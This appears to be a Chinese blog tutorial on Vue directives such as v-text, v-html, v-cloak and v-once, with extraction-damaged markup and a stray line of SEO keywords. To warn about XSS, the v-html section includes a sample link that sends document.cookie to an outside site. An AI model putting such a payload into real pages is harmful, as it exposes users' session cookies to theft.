腾讯云网站建设教学视频教程,嘉峪关住房和城乡建设局网站,鹤壁seo推广,中国今天新闻最新消息前言
除了常见的v-bind,v-for,v-if,v-on.v-model等#xff0c;本次学习一些vue提供的其他内置指令
1 v-text
给标签插入文本#xff0c;类似于插值语法
它会把全部的字符串当成文本去解析,不会当成标签的,哪怕写的是标签结构 效果和插值语法是一样的 插值语法比v-text更加…前言
除了常见的v-bind,v-for,v-if,v-on.v-model等本次学习一些vue提供的其他内置指令
1 v-text
给标签插入文本类似于插值语法
它会把全部的字符串当成文本去解析,不会当成标签的,哪怕写的是标签结构 效果和插值语法是一样的 插值语法比v-text更加的灵活因为插值语法可以作为字符串拼接但是v-text的值会替换掉整个div里面的值 前面说过它会把全部的字符串当成文本去解析,不会当成标签的,哪怕写的是标签结构 不能解析标签的会以正常文本显示 代码如下
!DOCTYPE html
htmlheadmeta charsetUTF-8title初始vue/title!-- 引入vue.js --script typetext/javascript src../js/vue.js/script!-- 在线引入day.js --!-- script srchttps://cdn.bootcdn.net/ajax/libs/dayjs/1.11.6/dayjs.min.js/script --!--引入day.js --script src../js/dayjs.min.js/script
/head
bodydiv idroot!-- 插值语法实现 --h2你好{{name}}/h2!-- v-text指令实现 --h2 v-textstr/h2/div
/body script typetext/javascriptconst vm new Vue({el:#root,data:{name:vue,str:h1你好/h1},})/script/htmlv-text总结
v-text指令 1 作用向其所在的节点渲染文本内容2 与插值语法的区别v-text会替换掉节点中的内容但是插值语法不会它会进行拼接2 v-html
和v-text作用以及写法类似区别在于v-html可以帮助我们解析标签 可以发现使用v-html可以实现标签解析但是v-text是不行的这也就是两者的区别
v-html的安全性问题
在网站上渲染任意HTML是非常危险的容易导致XSS攻击
众所周知cookie在网络上相当于个人身份证我们在很多网站上都有cookie,这些信息是不能泄露的不然可能导致很严重的问题我们就以cookie为例子验证v-html的安全性问题
右键检查或者F12,选择Application.左侧找到Storage-Cookies(既然加了S就说明可能存放的是多个网址的cookie),cookie本质就是键值对的JSON格式数据 首先因为的这个页面没有做登录功能是没有cookie的我需要自己仿造双击即可添加 如图所示我模拟了一些cookie我们可以通过命令(document.cookie)查看cookie: 既然知道了这些那么就可以模拟恶意获取cookie的场景,我这里用的是给一个文字暗箱跳转到百度并且把本台服务器的cookie作为参数携带进去注意这里这是模仿 点击发现跳到了百度而且携带了我的cookie这样是很危险的 但是一般的网址都会做cookie的安全处理,查看cookie可以看到有一个HttpOnly选型如果勾选上代表只能通过http协议获取不能通过dom命令获取 比如我全部勾选 通过dom就什么也获取不到了 在网站上渲染任意HTML是非常危险的容易导致XSS攻击这不是vue的锅只是不建议这么使用
代码如下
!DOCTYPE html
htmlheadmeta charsetUTF-8title初始vue/title!-- 引入vue.js --script typetext/javascript src../js/vue.js/script
/head
bodydiv idroot!-- 插值语法实现 --h2你好{{name}}/h2!-- v-text指令实现 --h2 v-textstr/h2!-- v-html进行标签解析 --div v-htmlstr/divdiv v-htmlgetCookieUrl/div/div
/body script typetext/javascriptconst vm new Vue({el:#root,data:{name:vue,str:h1你好/h1,getCookieUrl:a hrefjavascript:location.hrefhttp://www.baidu.com?document.cookie你想要的都在这哦~/a},})/script/htmlv-html总结
v-html指令 1 作用与指定节点中渲染包含html结构的内容2 与插值法与的区别1v-html会替换掉节点的所有的内容{{XX}}则不会2v-html可以识别html标签(结构)3 严重注意v-html有安全性问题1在网站上渲染任意HTML是非常危险的容易导致XSS攻击2 一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上3 v-cloak
由于这个不太好演示这里只做说明不演示了
这个属性只有名字没有值 h2 v-cloak{{name}}/h2它一般配合css控制元素隐藏等页面全部加载完毕之后会自动删除v-cloak v-cloak总结
v-cloak指令
1 它只有名字没有值
2 本质是一个特殊属性Vue实例创建完毕并接管容器后会自动删除c-cloak属性
3 使用css配合v-cloak可以解决网速慢的时候页面展示出{{XXX}}的问题
4 v-once
这个属性和v-cloak一样也是没值的只有属性名称
通过案例演示下让vue保存一个数值n然后让n展示在页面上 初步测试没问题 接下来新增需求想再写一个h2标签展示初始化的n值 随着页面的变化初始化n的值也进行了变化 v-once显然不符合需求这时候就需要用到v-once了再h2标签加入
h2 v-once初始化n的值是{{n}}/h2这时候再查看页面实现需求 v-once总结 v-once指令1 v-once所在节点在初次动态渲染后就视为静态内容了2 以后数据的改变不会引起v-once所在结构的更新可以用于优化性能5 v-pre
这个指令可以让vue跳过其所在节点的编译过程也就是vue不会再解析写了v-pre 的东西了 可利用它跳过一些代码没有使用指令语法的节点没有使用插值语法的节点会更快的进行编译
